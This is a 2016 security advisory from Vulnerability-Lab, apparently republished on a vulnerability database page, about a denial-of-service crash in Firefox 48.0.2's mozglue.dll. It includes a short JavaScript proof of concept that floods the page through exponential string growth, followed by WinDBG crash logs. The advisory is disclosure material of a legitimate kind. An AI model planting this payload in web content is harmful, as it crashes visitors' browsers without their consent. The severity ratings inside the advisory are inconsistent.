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Mozilla Firefox v48.0.2 - (mozglue.dll) Denial of Service
🗓️ 04 Oct 2016 00:00:00Reported by Vulnerability-Lab [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-LabType 
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Document Title:
===============
Mozilla Firefox v48.0.2 - (mozglue.dll) Denial of Service
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1953
Release Date:
=============
2016-10-04
Vulnerability Laboratory ID (VL-ID):
====================================
1953
Common Vulnerability Scoring System:
====================================
3
Vulnerability Class:
====================
Denial of Service
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Mozilla Firefox is a web browser open and free, developed and distributed by the Mozilla Foundation with
the help of thousands of volunteers with the methods of development of free software / open source and
freedom of source code.
(Copy of the Homepage: https://www.mozilla.org/fr/firefox/new/ )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a denial of service vulnerability in the official Mozilla Firefox Browser v48.0.2.
Vulnerability Disclosure Timeline:
==================================
2016-10-04: Non-Public Disclosure (Vulnerability Laboratory - Shared Customer Research Feed)
Discovery Status:
=================
Published
Affected Product(s):
====================
Mozilla
Product: Firefox - Browser (Software) 48.0.2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Low
Authentication Type:
====================
No authentication (guest)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure Program
Technical Details & Description:
================================
A denial of service vulnerability has been discovered in the official Mozilla Firefox Browser v48.0.2.
The issue can crash the local software process (mozglue.dll) via denial of service vulnerability.
Proof of Concept (PoC):
=======================
The browser web vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: Exploitation (Javascript)
<body onload="javascript:VulnerabilityLab();"></body>
<script>
function VulnerabilityLab() {
var buffer = 'x41';
for (i =0;i<1337;i++) {
buffer+=buffer+'x41';
document.write('<html><marque><h1>'+buffer+buffer);
}
}
</script>
--- PoC Debug Session Logs [WinDBG] ---
Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=5dee0a3e edx=00000000 esi=6e837466 edi=00ce70ce
eip=6e82efe5 esp=00ce7088 ebp=00ce70d4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesMozilla Firefoxmozglue.dll -
mozglue!mozalloc_abort+0x2c:
6e82efe5 cc int 3
mozglue!mozalloc_abort+0x2c:
6e82efe5 cc int 3
6e82efe6 6a03 push 3
6e82efe8 c7050000000021000000 mov dword ptr ds:[0],21h
6e82eff2 ff151060836e call dword ptr [mozglue!double_conversion::DoubleToStringConverter::ToFixed+0xf96 (6e836010)]
6e82eff8 50 push eax
6e82eff9 ff155c60836e call dword ptr [mozglue!double_conversion::DoubleToStringConverter::ToFixed+0xfe2 (6e83605c)]
6e82efff cc int 3
mozglue!mozalloc_handle_oom:
6e82f000 55 push ebp
lmvm mozglue
start end module name
6e820000 6e83d000 mozglue (export symbols) C:Program FilesMozilla Firefoxmozglue.dll
Loaded symbol image file: C:Program FilesMozilla Firefoxmozglue.dll
Image path: C:Program FilesMozilla Firefoxmozglue.dll
Image name: mozglue.dll
Timestamp: Wed Aug 24 06:53:43 2016 (57BD2857)
CheckSum: 0001E87D
ImageSize: 0001D000
File version: 48.0.2.6079
Product version: 48.0.2.6079
File flags: 0 (Mask 3F)
File OS: 4 Unknown Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0000.04b0
CompanyName: Mozilla Foundation
ProductName: Firefox
InternalName: Firefox
OriginalFilename: mozglue.dll
ProductVersion: 48.0.2
FileVersion: 48.0.2
FileDescription: 48.0.2
LegalCopyright: License: MPL 2
LegalTrademarks: Mozilla
Comments: Mozilla
Security Risk:
==============
The security risk of the denial of service vulnerability in the firefox web-browser is estimated as medium (CVSS 3.0).
Credits & Authors:
==================
Vulnerability-Lab [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Disclaimer & Information:
=========================
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04 Oct 2016 00:00Current
7.4High risk
Vulners AI Score7.4